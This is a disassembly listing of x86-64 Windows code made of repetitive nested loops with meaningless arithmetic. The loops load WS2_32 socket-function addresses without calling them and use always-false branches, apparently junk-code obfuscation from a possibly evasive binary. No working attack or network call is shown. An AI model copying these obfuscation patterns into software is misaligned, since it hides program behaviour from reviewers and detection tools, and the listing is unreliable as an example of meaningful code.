mov dword [rsp + 0xffc], 7
mov dword [rsp + 0xa94], 0
jmp 0x1400fca35
mov eax, dword [rsp + 0xa94]
inc eax
mov dword [rsp + 0xa94], eax
cmp dword [rsp + 0xa94], 2
jge 0x1400fcad8
mov eax, dword [rsp + 0xa94]
inc eax
mov dword [rsp + 0x30c], eax
mov eax, dword [rsp + 0x30c]
inc eax
mov dword [rsp + 0x30c], eax
cmp dword [rsp + 0x30c], 2
jne 0x1400fcac9
mov dword [rsp + 0x308], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x308]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fca9d
mov eax, dword [rsp + 0x308]
shl eax, 1
mov dword [rsp + 0x308], eax
jmp 0x1400fcaae
mov eax, dword [rsp + 0x308]
add eax, 3
mov dword [rsp + 0x308], eax
mov eax, dword [rsp + 0x30c]
imul eax, dword [rsp + 0xffc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19dc], eax
cmp dword [rsp + 0x30c], 3
jl 0x1400fca53
jmp 0x1400fca25
cmp dword [rsp + 0xffc], 5
jle 0x1400fcb50
mov eax, dword [rsp + 0xffc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1000], eax
mov dword [rsp + 0x310], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x310]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fcb25
mov eax, dword [rsp + 0x310]
shl eax, 1
mov dword [rsp + 0x310], eax
jmp 0x1400fcb36
mov eax, dword [rsp + 0x310]
add eax, 3
mov dword [rsp + 0x310], eax
mov eax, dword [rsp + 0x1000]
dec eax
mov dword [rsp + 0x1000], eax
cmp dword [rsp + 0x1000], 0
jg 0x1400fcaf5
jmp 0x1400fc9ef
cmp dword [rsp + 0x314], 0xf
jl 0x1400fc835
jmp 0x1400fc806
cmp dword [rsp + 0x1004], 0x19
jle 0x1400fcd1f
mov eax, dword [rsp + 0x1004]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1014], eax
mov dword [rsp + 0x1008], 0
jmp 0x1400fcbaa
mov eax, dword [rsp + 0x1008]
inc eax
mov dword [rsp + 0x1008], eax
cmp dword [rsp + 0x1008], 5
jge 0x1400fcd00
mov dword [rsp + 0x100c], 7
mov dword [rsp + 0xa98], 0
jmp 0x1400fcbe0
mov eax, dword [rsp + 0xa98]
inc eax
mov dword [rsp + 0xa98], eax
cmp dword [rsp + 0xa98], 2
jge 0x1400fcc83
mov eax, dword [rsp + 0xa98]
inc eax
mov dword [rsp + 0x31c], eax
mov eax, dword [rsp + 0x31c]
inc eax
mov dword [rsp + 0x31c], eax
cmp dword [rsp + 0x31c], 2
jne 0x1400fcc74
mov dword [rsp + 0x318], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x318]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fcc48
mov eax, dword [rsp + 0x318]
shl eax, 1
mov dword [rsp + 0x318], eax
jmp 0x1400fcc59
mov eax, dword [rsp + 0x318]
add eax, 3
mov dword [rsp + 0x318], eax
mov eax, dword [rsp + 0x31c]
imul eax, dword [rsp + 0x100c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19e0], eax
cmp dword [rsp + 0x31c], 3
jl 0x1400fcbfe
jmp 0x1400fcbd0
cmp dword [rsp + 0x100c], 5
jle 0x1400fccfb
mov eax, dword [rsp + 0x100c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1010], eax
mov dword [rsp + 0x320], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x320]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fccd0
mov eax, dword [rsp + 0x320]
shl eax, 1
mov dword [rsp + 0x320], eax
jmp 0x1400fcce1
mov eax, dword [rsp + 0x320]
add eax, 3
mov dword [rsp + 0x320], eax
mov eax, dword [rsp + 0x1010]
dec eax
mov dword [rsp + 0x1010], eax
cmp dword [rsp + 0x1010], 0
jg 0x1400fcca0
jmp 0x1400fcb9a
mov eax, dword [rsp + 0x1014]
sub eax, 2
mov dword [rsp + 0x1014], eax
cmp dword [rsp + 0x1014], 0
jg 0x1400fcb8d
mov dword [rsp + 0x1018], 0
jmp 0x1400fcd3c
mov eax, dword [rsp + 0x1018]
inc eax
mov dword [rsp + 0x1018], eax
cmp dword [rsp + 0x1018], 5
jge 0x1400fce92
mov dword [rsp + 0x101c], 7
mov dword [rsp + 0xa9c], 0
jmp 0x1400fcd72
mov eax, dword [rsp + 0xa9c]
inc eax
mov dword [rsp + 0xa9c], eax
cmp dword [rsp + 0xa9c], 2
jge 0x1400fce15
mov eax, dword [rsp + 0xa9c]
inc eax
mov dword [rsp + 0x328], eax
mov eax, dword [rsp + 0x328]
inc eax
mov dword [rsp + 0x328], eax
cmp dword [rsp + 0x328], 2
jne 0x1400fce06
mov dword [rsp + 0x324], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x324]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fcdda
mov eax, dword [rsp + 0x324]
shl eax, 1
mov dword [rsp + 0x324], eax
jmp 0x1400fcdeb
mov eax, dword [rsp + 0x324]
add eax, 3
mov dword [rsp + 0x324], eax
mov eax, dword [rsp + 0x328]
imul eax, dword [rsp + 0x101c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19e4], eax
cmp dword [rsp + 0x328], 3
jl 0x1400fcd90
jmp 0x1400fcd62
cmp dword [rsp + 0x101c], 5
jle 0x1400fce8d
mov eax, dword [rsp + 0x101c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1020], eax
mov dword [rsp + 0x32c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x32c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fce62
mov eax, dword [rsp + 0x32c]
shl eax, 1
mov dword [rsp + 0x32c], eax
jmp 0x1400fce73
mov eax, dword [rsp + 0x32c]
add eax, 3
mov dword [rsp + 0x32c], eax
mov eax, dword [rsp + 0x1020]
dec eax
mov dword [rsp + 0x1020], eax
cmp dword [rsp + 0x1020], 0
jg 0x1400fce32
jmp 0x1400fcd2c
jmp 0x1400fc7d0
jmp 0x1400fd572
mov dword [rsp + 0x1024], 0
jmp 0x1400fceb9
mov eax, dword [rsp + 0x1024]
inc eax
mov dword [rsp + 0x1024], eax
cmp dword [rsp + 0x1024], 5
jge 0x1400fd572
mov dword [rsp + 0x1040], 0x44
mov dword [rsp + 0xaa0], 0
jmp 0x1400fceef
mov eax, dword [rsp + 0xaa0]
inc eax
mov dword [rsp + 0xaa0], eax
cmp dword [rsp + 0xaa0], 7
jge 0x1400fd244
mov eax, dword [rsp + 0xaa0]
add eax, 4
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0x348]
add eax, 4
mov dword [rsp + 0x348], eax
cmp dword [rsp + 0x348], 0x10
jne 0x1400fd231
mov dword [rsp + 0x1028], 0
jmp 0x1400fcf4a
mov eax, dword [rsp + 0x1028]
inc eax
mov dword [rsp + 0x1028], eax
cmp dword [rsp + 0x1028], 5
jge 0x1400fd0a0
mov dword [rsp + 0x102c], 7
mov dword [rsp + 0xaa4], 0
jmp 0x1400fcf80
mov eax, dword [rsp + 0xaa4]
inc eax
mov dword [rsp + 0xaa4], eax
cmp dword [rsp + 0xaa4], 2
jge 0x1400fd023
mov eax, dword [rsp + 0xaa4]
inc eax
mov dword [rsp + 0x334], eax
mov eax, dword [rsp + 0x334]
inc eax
mov dword [rsp + 0x334], eax
cmp dword [rsp + 0x334], 2
jne 0x1400fd014
mov dword [rsp + 0x330], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x330]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fcfe8
mov eax, dword [rsp + 0x330]
shl eax, 1
mov dword [rsp + 0x330], eax
jmp 0x1400fcff9
mov eax, dword [rsp + 0x330]
add eax, 3
mov dword [rsp + 0x330], eax
mov eax, dword [rsp + 0x334]
imul eax, dword [rsp + 0x102c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19e8], eax
cmp dword [rsp + 0x334], 3
jl 0x1400fcf9e
jmp 0x1400fcf70
cmp dword [rsp + 0x102c], 5
jle 0x1400fd09b
mov eax, dword [rsp + 0x102c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1030], eax
mov dword [rsp + 0x338], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x338]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd070
mov eax, dword [rsp + 0x338]
shl eax, 1
mov dword [rsp + 0x338], eax
jmp 0x1400fd081
mov eax, dword [rsp + 0x338]
add eax, 3
mov dword [rsp + 0x338], eax
mov eax, dword [rsp + 0x1030]
dec eax
mov dword [rsp + 0x1030], eax
cmp dword [rsp + 0x1030], 0
jg 0x1400fd040
jmp 0x1400fcf3a
mov eax, dword [rsp + 0x348]
imul eax, dword [rsp + 0x1040]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x19ec], eax
mov dword [rsp + 0x1034], 0
jmp 0x1400fd0db
mov eax, dword [rsp + 0x1034]
inc eax
mov dword [rsp + 0x1034], eax
cmp dword [rsp + 0x1034], 5
jge 0x1400fd231
mov dword [rsp + 0x1038], 7
mov dword [rsp + 0xaa8], 0
jmp 0x1400fd111
mov eax, dword [rsp + 0xaa8]
inc eax
mov dword [rsp + 0xaa8], eax
cmp dword [rsp + 0xaa8], 2
jge 0x1400fd1b4
mov eax, dword [rsp + 0xaa8]
inc eax
mov dword [rsp + 0x340], eax
mov eax, dword [rsp + 0x340]
inc eax
mov dword [rsp + 0x340], eax
cmp dword [rsp + 0x340], 2
jne 0x1400fd1a5
mov dword [rsp + 0x33c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x33c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd179
mov eax, dword [rsp + 0x33c]
shl eax, 1
mov dword [rsp + 0x33c], eax
jmp 0x1400fd18a
mov eax, dword [rsp + 0x33c]
add eax, 3
mov dword [rsp + 0x33c], eax
mov eax, dword [rsp + 0x340]
imul eax, dword [rsp + 0x1038]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19f0], eax
cmp dword [rsp + 0x340], 3
jl 0x1400fd12f
jmp 0x1400fd101
cmp dword [rsp + 0x1038], 5
jle 0x1400fd22c
mov eax, dword [rsp + 0x1038]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x103c], eax
mov dword [rsp + 0x344], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x344]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd201
mov eax, dword [rsp + 0x344]
shl eax, 1
mov dword [rsp + 0x344], eax
jmp 0x1400fd212
mov eax, dword [rsp + 0x344]
add eax, 3
mov dword [rsp + 0x344], eax
mov eax, dword [rsp + 0x103c]
dec eax
mov dword [rsp + 0x103c], eax
cmp dword [rsp + 0x103c], 0
jg 0x1400fd1d1
jmp 0x1400fd0cb
cmp dword [rsp + 0x348], 0x14
jl 0x1400fcf0e
jmp 0x1400fcedf
cmp dword [rsp + 0x1040], 0x28
jle 0x1400fd3fa
mov eax, dword [rsp + 0x1040]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1050], eax
mov dword [rsp + 0x1044], 0
jmp 0x1400fd285
mov eax, dword [rsp + 0x1044]
inc eax
mov dword [rsp + 0x1044], eax
cmp dword [rsp + 0x1044], 5
jge 0x1400fd3db
mov dword [rsp + 0x1048], 7
mov dword [rsp + 0xaac], 0
jmp 0x1400fd2bb
mov eax, dword [rsp + 0xaac]
inc eax
mov dword [rsp + 0xaac], eax
cmp dword [rsp + 0xaac], 2
jge 0x1400fd35e
mov eax, dword [rsp + 0xaac]
inc eax
mov dword [rsp + 0x350], eax
mov eax, dword [rsp + 0x350]
inc eax
mov dword [rsp + 0x350], eax
cmp dword [rsp + 0x350], 2
jne 0x1400fd34f
mov dword [rsp + 0x34c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x34c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd323
mov eax, dword [rsp + 0x34c]
shl eax, 1
mov dword [rsp + 0x34c], eax
jmp 0x1400fd334
mov eax, dword [rsp + 0x34c]
add eax, 3
mov dword [rsp + 0x34c], eax
mov eax, dword [rsp + 0x350]
imul eax, dword [rsp + 0x1048]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19f4], eax
cmp dword [rsp + 0x350], 3
jl 0x1400fd2d9
jmp 0x1400fd2ab
cmp dword [rsp + 0x1048], 5
jle 0x1400fd3d6
mov eax, dword [rsp + 0x1048]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x104c], eax
mov dword [rsp + 0x354], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x354]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd3ab
mov eax, dword [rsp + 0x354]
shl eax, 1
mov dword [rsp + 0x354], eax
jmp 0x1400fd3bc
mov eax, dword [rsp + 0x354]
add eax, 3
mov dword [rsp + 0x354], eax
mov eax, dword [rsp + 0x104c]
dec eax
mov dword [rsp + 0x104c], eax
cmp dword [rsp + 0x104c], 0
jg 0x1400fd37b
jmp 0x1400fd275
mov eax, dword [rsp + 0x1050]
sub eax, 3
mov dword [rsp + 0x1050], eax
cmp dword [rsp + 0x1050], 0
jg 0x1400fd268
mov dword [rsp + 0x1054], 0
jmp 0x1400fd417
mov eax, dword [rsp + 0x1054]
inc eax
mov dword [rsp + 0x1054], eax
cmp dword [rsp + 0x1054], 5
jge 0x1400fd56d
mov dword [rsp + 0x1058], 7
mov dword [rsp + 0xab0], 0
jmp 0x1400fd44d
mov eax, dword [rsp + 0xab0]
inc eax
mov dword [rsp + 0xab0], eax
cmp dword [rsp + 0xab0], 2
jge 0x1400fd4f0
mov eax, dword [rsp + 0xab0]
inc eax
mov dword [rsp + 0x35c], eax
mov eax, dword [rsp + 0x35c]
inc eax
mov dword [rsp + 0x35c], eax
cmp dword [rsp + 0x35c], 2
jne 0x1400fd4e1
mov dword [rsp + 0x358], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x358]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd4b5
mov eax, dword [rsp + 0x358]
shl eax, 1
mov dword [rsp + 0x358], eax
jmp 0x1400fd4c6
mov eax, dword [rsp + 0x358]
add eax, 3
mov dword [rsp + 0x358], eax
mov eax, dword [rsp + 0x35c]
imul eax, dword [rsp + 0x1058]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19f8], eax
cmp dword [rsp + 0x35c], 3
jl 0x1400fd46b
jmp 0x1400fd43d
cmp dword [rsp + 0x1058], 5
jle 0x1400fd568
mov eax, dword [rsp + 0x1058]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x105c], eax
mov dword [rsp + 0x360], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x360]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd53d
mov eax, dword [rsp + 0x360]
shl eax, 1
mov dword [rsp + 0x360], eax
jmp 0x1400fd54e
mov eax, dword [rsp + 0x360]
add eax, 3
mov dword [rsp + 0x360], eax
mov eax, dword [rsp + 0x105c]
dec eax
mov dword [rsp + 0x105c], eax
cmp dword [rsp + 0x105c], 0
jg 0x1400fd50d
jmp 0x1400fd407
jmp 0x1400fcea9
xor eax, eax
cmp eax, 1
je 0x1400fdef4
xor eax, eax
test eax, eax
je 0x1400fdcf1
mov dword [rsp + 0x1060], 0
jmp 0x1400fd5a4
mov eax, dword [rsp + 0x1060]
inc eax
mov dword [rsp + 0x1060], eax
cmp dword [rsp + 0x1060], 5
jge 0x1400fdcec
mov dword [rsp + 0x390], Ordinal_79
mov dword [rsp + 0xab4], 0
jmp 0x1400fd5da
mov eax, dword [rsp + 0xab4]
inc eax
mov dword [rsp + 0xab4], eax
cmp dword [rsp + 0xab4], 8
jge 0x1400fd80a
mov eax, dword [rsp + 0xab4]
add eax, 6
mov dword [rsp + 0x374], eax
mov eax, dword [rsp + 0x374]
add eax, 5
mov dword [rsp + 0x374], eax
cmp dword [rsp + 0x374], 0x12
jne 0x1400fd7f7
mov dword [rsp + 0x364], Ordinal_45
mov eax, dword [rsp + 0x364]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd648
mov eax, dword [rsp + 0x364]
shl eax, 1
mov dword [rsp + 0x364], eax
jmp 0x1400fd659
mov eax, dword [rsp + 0x364]
add eax, 3
mov dword [rsp + 0x364], eax
mov eax, dword [rsp + 0x374]
imul eax, dword [rsp + 0x390]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x19fc], eax
mov dword [rsp + 0x1064], 0
jmp 0x1400fd694
mov eax, dword [rsp + 0x1064]
inc eax
mov dword [rsp + 0x1064], eax
cmp dword [rsp + 0x1064], 5
jge 0x1400fd7f7
mov dword [rsp + 0x1068], 0x4d
mov dword [rsp + 0xab8], 0
jmp 0x1400fd6ca
mov eax, dword [rsp + 0xab8]
inc eax
mov dword [rsp + 0xab8], eax
cmp dword [rsp + 0xab8], 6
jge 0x1400fd776
mov eax, dword [rsp + 0xab8]
add eax, 3
mov dword [rsp + 0x36c], eax
mov eax, dword [rsp + 0x36c]
add eax, 2
mov dword [rsp + 0x36c], eax
cmp dword [rsp + 0x36c], 0xb
jne 0x1400fd763
mov dword [rsp + 0x368], Ordinal_45
mov eax, dword [rsp + 0x368]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd734
mov eax, dword [rsp + 0x368]
shl eax, 1
mov dword [rsp + 0x368], eax
jmp 0x1400fd745
mov eax, dword [rsp + 0x368]
add eax, 3
mov dword [rsp + 0x368], eax
mov eax, dword [rsp + 0x36c]
imul eax, dword [rsp + 0x1068]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a00], eax
cmp dword [rsp + 0x36c], 0x12
jl 0x1400fd6e9
jmp 0x1400fd6ba
cmp dword [rsp + 0x1068], 0x23
jle 0x1400fd7f2
mov eax, dword [rsp + 0x1068]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x106c], eax
mov dword [rsp + 0x370], Ordinal_45
mov eax, dword [rsp + 0x370]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd7c6
mov eax, dword [rsp + 0x370]
shl eax, 1
mov dword [rsp + 0x370], eax
jmp 0x1400fd7d7
mov eax, dword [rsp + 0x370]
add eax, 3
mov dword [rsp + 0x370], eax
mov eax, dword [rsp + 0x106c]
sub eax, 4
mov dword [rsp + 0x106c], eax
cmp dword [rsp + 0x106c], 0
jg 0x1400fd796
jmp 0x1400fd684
cmp dword [rsp + 0x374], 0x1e
jl 0x1400fd5f9
jmp 0x1400fd5ca
cmp dword [rsp + 0x390], 0x23
jle 0x1400fda9a
mov eax, dword [rsp + 0x390]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x107c], eax
mov dword [rsp + 0xabc], 0
jmp 0x1400fd84b
mov eax, dword [rsp + 0xabc]
inc eax
mov dword [rsp + 0xabc], eax
cmp dword [rsp + 0xabc], 8
jge 0x1400fda7b
mov eax, dword [rsp + 0xabc]
add eax, 6
mov dword [rsp + 0x388], eax
mov eax, dword [rsp + 0x388]
add eax, 5
mov dword [rsp + 0x388], eax
cmp dword [rsp + 0x388], 0x12
jne 0x1400fda68
mov dword [rsp + 0x378], Ordinal_45
mov eax, dword [rsp + 0x378]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd8b9
mov eax, dword [rsp + 0x378]
shl eax, 1
mov dword [rsp + 0x378], eax
jmp 0x1400fd8ca
mov eax, dword [rsp + 0x378]
add eax, 3
mov dword [rsp + 0x378], eax
mov eax, dword [rsp + 0x388]
imul eax, dword [rsp + 0x390]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a04], eax
mov dword [rsp + 0x1070], 0
jmp 0x1400fd905
mov eax, dword [rsp + 0x1070]
inc eax
mov dword [rsp + 0x1070], eax
cmp dword [rsp + 0x1070], 5
jge 0x1400fda68
mov dword [rsp + 0x1074], 0x4d
mov dword [rsp + 0xac0], 0
jmp 0x1400fd93b
mov eax, dword [rsp + 0xac0]
inc eax
mov dword [rsp + 0xac0], eax
cmp dword [rsp + 0xac0], 6
jge 0x1400fd9e7
mov eax, dword [rsp + 0xac0]
add eax, 3
mov dword [rsp + 0x380], eax
mov eax, dword [rsp + 0x380]
add eax, 2
mov dword [rsp + 0x380], eax
cmp dword [rsp + 0x380], 0xb
jne 0x1400fd9d4
mov dword [rsp + 0x37c], Ordinal_45
mov eax, dword [rsp + 0x37c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fd9a5
mov eax, dword [rsp + 0x37c]
shl eax, 1
mov dword [rsp + 0x37c], eax
jmp 0x1400fd9b6
mov eax, dword [rsp + 0x37c]
add eax, 3
mov dword [rsp + 0x37c], eax
mov eax, dword [rsp + 0x380]
imul eax, dword [rsp + 0x1074]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a08], eax
cmp dword [rsp + 0x380], 0x12
jl 0x1400fd95a
jmp 0x1400fd92b
cmp dword [rsp + 0x1074], 0x23
jle 0x1400fda63
mov eax, dword [rsp + 0x1074]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1078], eax
mov dword [rsp + 0x384], Ordinal_45
mov eax, dword [rsp + 0x384]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fda37
mov eax, dword [rsp + 0x384]
shl eax, 1
mov dword [rsp + 0x384], eax
jmp 0x1400fda48
mov eax, dword [rsp + 0x384]
add eax, 3
mov dword [rsp + 0x384], eax
mov eax, dword [rsp + 0x1078]
sub eax, 4
mov dword [rsp + 0x1078], eax
cmp dword [rsp + 0x1078], 0
jg 0x1400fda07
jmp 0x1400fd8f5
cmp dword [rsp + 0x388], 0x1e
jl 0x1400fd86a
jmp 0x1400fd83b
mov eax, dword [rsp + 0x107c]
sub eax, 4
mov dword [rsp + 0x107c], eax
cmp dword [rsp + 0x107c], 0
jg 0x1400fd82e
mov dword [rsp + 0xac4], 0
jmp 0x1400fdab7
mov eax, dword [rsp + 0xac4]
inc eax
mov dword [rsp + 0xac4], eax
cmp dword [rsp + 0xac4], 8
jge 0x1400fdce7
mov eax, dword [rsp + 0xac4]
add eax, 6
mov dword [rsp + 0x3a0], eax
mov eax, dword [rsp + 0x3a0]
add eax, 5
mov dword [rsp + 0x3a0], eax
cmp dword [rsp + 0x3a0], 0x12
jne 0x1400fdcd4
mov dword [rsp + 0x38c], Ordinal_45
mov eax, dword [rsp + 0x38c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fdb25
mov eax, dword [rsp + 0x38c]
shl eax, 1
mov dword [rsp + 0x38c], eax
jmp 0x1400fdb36
mov eax, dword [rsp + 0x38c]
add eax, 3
mov dword [rsp + 0x38c], eax
mov eax, dword [rsp + 0x3a0]
imul eax, dword [rsp + 0x390]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a0c], eax
mov dword [rsp + 0x1080], 0
jmp 0x1400fdb71
mov eax, dword [rsp + 0x1080]
inc eax
mov dword [rsp + 0x1080], eax
cmp dword [rsp + 0x1080], 5
jge 0x1400fdcd4
mov dword [rsp + 0x1084], 0x4d
mov dword [rsp + 0xac8], 0
jmp 0x1400fdba7
mov eax, dword [rsp + 0xac8]
inc eax
mov dword [rsp + 0xac8], eax
cmp dword [rsp + 0xac8], 6
jge 0x1400fdc53
mov eax, dword [rsp + 0xac8]
add eax, 3
mov dword [rsp + 0x398], eax
mov eax, dword [rsp + 0x398]
add eax, 2
mov dword [rsp + 0x398], eax
cmp dword [rsp + 0x398], 0xb
jne 0x1400fdc40
mov dword [rsp + 0x394], Ordinal_45
mov eax, dword [rsp + 0x394]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fdc11
mov eax, dword [rsp + 0x394]
shl eax, 1
mov dword [rsp + 0x394], eax
jmp 0x1400fdc22
mov eax, dword [rsp + 0x394]
add eax, 3
mov dword [rsp + 0x394], eax
mov eax, dword [rsp + 0x398]
imul eax, dword [rsp + 0x1084]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a10], eax
cmp dword [rsp + 0x398], 0x12
jl 0x1400fdbc6
jmp 0x1400fdb97
cmp dword [rsp + 0x1084], 0x23
jle 0x1400fdccf
mov eax, dword [rsp + 0x1084]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1088], eax
mov dword [rsp + 0x39c], Ordinal_45
mov eax, dword [rsp + 0x39c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fdca3
mov eax, dword [rsp + 0x39c]
shl eax, 1
mov dword [rsp + 0x39c], eax
jmp 0x1400fdcb4
mov eax, dword [rsp + 0x39c]
add eax, 3
mov dword [rsp + 0x39c], eax
mov eax, dword [rsp + 0x1088]
sub eax, 4
mov dword [rsp + 0x1088], eax
cmp dword [rsp + 0x1088], 0
jg 0x1400fdc73
jmp 0x1400fdb61
cmp dword [rsp + 0x3a0], 0x1e
jl 0x1400fdad6
jmp 0x1400fdaa7
jmp 0x1400fd594
jmp 0x1400fdef4
mov dword [rsp + 0x108c], 0
jmp 0x1400fdd0e
mov eax, dword [rsp + 0x108c]
inc eax
mov dword [rsp + 0x108c], eax
cmp dword [rsp + 0x108c], 5
jge 0x1400fdef4
mov dword [rsp + 0x1090], 0x59
mov dword [rsp + 0xacc], 0
jmp 0x1400fdd44
mov eax, dword [rsp + 0xacc]
inc eax
mov dword [rsp + 0xacc], eax
cmp dword [rsp + 0xacc], 7
jge 0x1400fde32
mov eax, dword [rsp + 0xacc]
add eax, 4
mov dword [rsp + 0x3ac], eax
mov eax, dword [rsp + 0x3ac]
add eax, 3
mov dword [rsp + 0x3ac], eax
cmp dword [rsp + 0x3ac], 0xe
jne 0x1400fde1f
mov dword [rsp + 0x3a4], Ordinal_45
mov eax, dword [rsp + 0x3a4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fddb2
mov eax, dword [rsp + 0x3a4]
shl eax, 1
mov dword [rsp + 0x3a4], eax
jmp 0x1400fddc3
mov eax, dword [rsp + 0x3a4]
add eax, 3
mov dword [rsp + 0x3a4], eax
mov eax, dword [rsp + 0x3ac]
imul eax, dword [rsp + 0x1090]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a14], eax
mov dword [rsp + 0x3a8], Ordinal_45
mov eax, dword [rsp + 0x3a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fde0e
mov eax, dword [rsp + 0x3a8]
shl eax, 1
mov dword [rsp + 0x3a8], eax
jmp 0x1400fde1f
mov eax, dword [rsp + 0x3a8]
add eax, 3
mov dword [rsp + 0x3a8], eax
cmp dword [rsp + 0x3ac], 0x19
jl 0x1400fdd63
jmp 0x1400fdd34
cmp dword [rsp + 0x1090], 0x28
jle 0x1400fdeae
mov eax, dword [rsp + 0x1090]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1094], eax
mov dword [rsp + 0x3b0], Ordinal_45
mov eax, dword [rsp + 0x3b0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fde82
mov eax, dword [rsp + 0x3b0]
shl eax, 1
mov dword [rsp + 0x3b0], eax
jmp 0x1400fde93
mov eax, dword [rsp + 0x3b0]
add eax, 3
mov dword [rsp + 0x3b0], eax
mov eax, dword [rsp + 0x1094]
sub eax, 3
mov dword [rsp + 0x1094], eax
cmp dword [rsp + 0x1094], 0
jg 0x1400fde52
mov dword [rsp + 0x3b4], Ordinal_45
mov eax, dword [rsp + 0x3b4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fdede
mov eax, dword [rsp + 0x3b4]
shl eax, 1
mov dword [rsp + 0x3b4], eax
jmp 0x1400fdeef
mov eax, dword [rsp + 0x3b4]
add eax, 3
mov dword [rsp + 0x3b4], eax
jmp 0x1400fdcfe
xor eax, eax
test eax, eax
je 0x1400fed61
xor eax, eax
test eax, eax
je 0x1400fe638
mov dword [rsp + 0x1098], 0
jmp 0x1400fdf25
mov eax, dword [rsp + 0x1098]
inc eax
mov dword [rsp + 0x1098], eax
cmp dword [rsp + 0x1098], 5
jge 0x1400fe633
mov dword [rsp + 0x10b4], 0x3f
mov dword [rsp + 0xad0], 0
jmp 0x1400fdf5b
mov eax, dword [rsp + 0xad0]
inc eax
mov dword [rsp + 0xad0], eax
cmp dword [rsp + 0xad0], 6
jge 0x1400fe2db
mov eax, dword [rsp + 0xad0]
add eax, 5
mov dword [rsp + 0x3c0], eax
mov eax, dword [rsp + 0x3c0]
add eax, 4
mov dword [rsp + 0x3c0], eax
cmp dword [rsp + 0x3c0], 0x11
jne 0x1400fe2c8
mov dword [rsp + 0x109c], 0
jmp 0x1400fdfb6
mov eax, dword [rsp + 0x109c]
inc eax
mov dword [rsp + 0x109c], eax
cmp dword [rsp + 0x109c], 5
jge 0x1400fe121
mov dword [rsp + 0x10a0], 0x2a
